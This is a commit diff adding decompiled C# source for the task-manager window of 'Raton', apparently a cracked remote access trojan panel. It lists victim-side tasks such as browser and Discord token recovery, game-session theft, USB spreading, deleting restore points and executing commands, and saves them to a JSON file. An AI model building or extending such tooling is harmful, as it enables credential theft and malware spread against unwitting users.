initial commit
This commit is contained in:
@@ -0,0 +1,207 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Windows.Tasks
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Microsoft.Win32;
|
||||
using Newtonsoft.Json;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections;
|
||||
using System.Collections.Generic;
|
||||
using System.Collections.ObjectModel;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Interop;
|
||||
using System.Windows.Markup;
|
||||
using WpfApp1;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Windows;
|
||||
|
||||
public partial class Tasks : Window
|
||||
{
|
||||
private const int DWMWA_USE_IMMERSIVE_DARK_MODE = 20;
|
||||
private static readonly string TasksPath = Path.Combine(MainWindow.appData, "tasks.json");
|
||||
private static readonly HashSet<string> NoArgTasks = new HashSet<string>((IEqualityComparer<string>) StringComparer.OrdinalIgnoreCase)
|
||||
{
|
||||
"Browser recovery",
|
||||
"Firefox recovery",
|
||||
"Roblox sessions",
|
||||
"Discord tokens",
|
||||
"Minecraft sessions",
|
||||
"Save screen",
|
||||
"Screamer",
|
||||
"USB spread",
|
||||
"Prevent sleep",
|
||||
"Delete restore points"
|
||||
};
|
||||
private readonly ObservableCollection<TaskItem> _tasks = new ObservableCollection<TaskItem>();
|
||||
|
||||
[DllImport("dwmapi.dll", CharSet = CharSet.Auto)]
|
||||
private static extern int DwmSetWindowAttribute(
|
||||
IntPtr hwnd,
|
||||
int attr,
|
||||
ref int attrValue,
|
||||
int attrSize);
|
||||
|
||||
public Tasks()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
this.TaskGrid.ItemsSource = (IEnumerable) this._tasks;
|
||||
this.LoadTasks();
|
||||
this.Loaded += new RoutedEventHandler(this.ApplyDarkMode);
|
||||
}
|
||||
|
||||
private void ApplyDarkMode(object sender, RoutedEventArgs e)
|
||||
{
|
||||
bool flag = this.IsWindowsDarkMode();
|
||||
IntPtr handle = new WindowInteropHelper((Window) this).Handle;
|
||||
int attrValue = flag ? 1 : 0;
|
||||
Tasks.DwmSetWindowAttribute(handle, 20, ref attrValue, Marshal.SizeOf(typeof (int)));
|
||||
}
|
||||
|
||||
private bool IsWindowsDarkMode()
|
||||
{
|
||||
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize"))
|
||||
{
|
||||
if (registryKey != null)
|
||||
{
|
||||
if (registryKey.GetValue("AppsUseLightTheme") is int num)
|
||||
return num == 0;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private void LoadTasks()
|
||||
{
|
||||
this._tasks.Clear();
|
||||
if (!File.Exists(Tasks.TasksPath))
|
||||
{
|
||||
this.Refresh();
|
||||
}
|
||||
else
|
||||
{
|
||||
try
|
||||
{
|
||||
List<TaskItem> taskItemList = JsonConvert.DeserializeObject<List<TaskItem>>(File.ReadAllText(Tasks.TasksPath));
|
||||
if (taskItemList != null)
|
||||
{
|
||||
foreach (TaskItem taskItem in taskItemList)
|
||||
{
|
||||
if (!string.IsNullOrWhiteSpace(taskItem.Name) && taskItem.Name != "How tasks works?")
|
||||
this._tasks.Add(taskItem);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
this.Refresh();
|
||||
}
|
||||
}
|
||||
|
||||
private void SaveTasks()
|
||||
{
|
||||
try
|
||||
{
|
||||
Directory.CreateDirectory(Path.GetDirectoryName(Tasks.TasksPath));
|
||||
File.WriteAllText(Tasks.TasksPath, JsonConvert.SerializeObject((object) this._tasks, Formatting.Indented));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
int num = (int) Messenger.MessageBox("Could not save tasks:\n" + ex.Message, "Error", icon: MessageBoxImage.Exclamation);
|
||||
}
|
||||
}
|
||||
|
||||
private void Refresh()
|
||||
{
|
||||
int count = this._tasks.Count;
|
||||
this.TbTaskCount.Text = count == 0 ? " — 0 tasks" : $" — {count} task{(count == 1 ? (object) "" : (object) "s")}";
|
||||
this.EmptyState.Visibility = count == 0 ? Visibility.Visible : Visibility.Collapsed;
|
||||
}
|
||||
|
||||
private void TaskCombo_SelectionChanged(object sender, SelectionChangedEventArgs e)
|
||||
{
|
||||
if (this.TaskArg == null)
|
||||
return;
|
||||
// ISSUE: explicit non-virtual call
|
||||
string str = (this.TaskCombo.SelectedItem is ComboBoxItem selectedItem ? selectedItem.Content?.ToString() : (string) null) ?? "";
|
||||
if (Tasks.NoArgTasks.Contains(str))
|
||||
{
|
||||
this.TaskArg.Text = "(This command doesn't require arguments)";
|
||||
this.TaskArg.IsEnabled = false;
|
||||
}
|
||||
else
|
||||
{
|
||||
this.TaskArg.Text = string.Empty;
|
||||
this.TaskArg.IsEnabled = true;
|
||||
this.TaskArg.Focus();
|
||||
}
|
||||
}
|
||||
|
||||
private void AddTask_Click(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
// ISSUE: explicit non-virtual call
|
||||
string str1 = this.TaskCombo.SelectedItem is ComboBoxItem selectedItem ? selectedItem.Content?.ToString() : (string) null;
|
||||
if (string.IsNullOrWhiteSpace(str1))
|
||||
{
|
||||
int num1 = (int) Messenger.MessageBox("Select a task type first.", nameof (Tasks), icon: MessageBoxImage.Asterisk);
|
||||
}
|
||||
else
|
||||
{
|
||||
string str2 = this.TaskArg.IsEnabled ? this.TaskArg.Text.Trim() : string.Empty;
|
||||
if (str1.StartsWith("Execute") && string.IsNullOrWhiteSpace(str2))
|
||||
{
|
||||
int num2 = (int) Messenger.MessageBox("Enter a command to execute.", nameof (Tasks), icon: MessageBoxImage.Asterisk);
|
||||
this.TaskArg.Focus();
|
||||
}
|
||||
else
|
||||
{
|
||||
this._tasks.Add(new TaskItem()
|
||||
{
|
||||
Name = str1,
|
||||
Value = str2
|
||||
});
|
||||
this.SaveTasks();
|
||||
this.Refresh();
|
||||
this.TaskCombo.SelectedIndex = -1;
|
||||
this.TaskArg.Text = "Select a task type first...";
|
||||
this.TaskArg.IsEnabled = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void DeleteTask_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
if (!(this.TaskGrid.SelectedItem is TaskItem selectedItem))
|
||||
return;
|
||||
this._tasks.Remove(selectedItem);
|
||||
this.SaveTasks();
|
||||
this.Refresh();
|
||||
}
|
||||
|
||||
private void ClearAll_Click(object sender, RoutedEventArgs e) => this.DoClearAll();
|
||||
|
||||
private void ClearAll_Click(object sender, MouseButtonEventArgs e) => this.DoClearAll();
|
||||
|
||||
private void DoClearAll()
|
||||
{
|
||||
if (this._tasks.Count == 0 || Messenger.MessageBox("Remove all tasks?", "Clear tasks", MessageBoxButton.YesNo, MessageBoxImage.Question) != MessageBoxResult.Yes)
|
||||
return;
|
||||
this._tasks.Clear();
|
||||
this.SaveTasks();
|
||||
this.Refresh();
|
||||
}
|
||||
|
||||
private void Close_Click(object sender, MouseButtonEventArgs e) => this.Close();
|
||||
|
||||
}
|
||||
Reference in New Issue
Block a user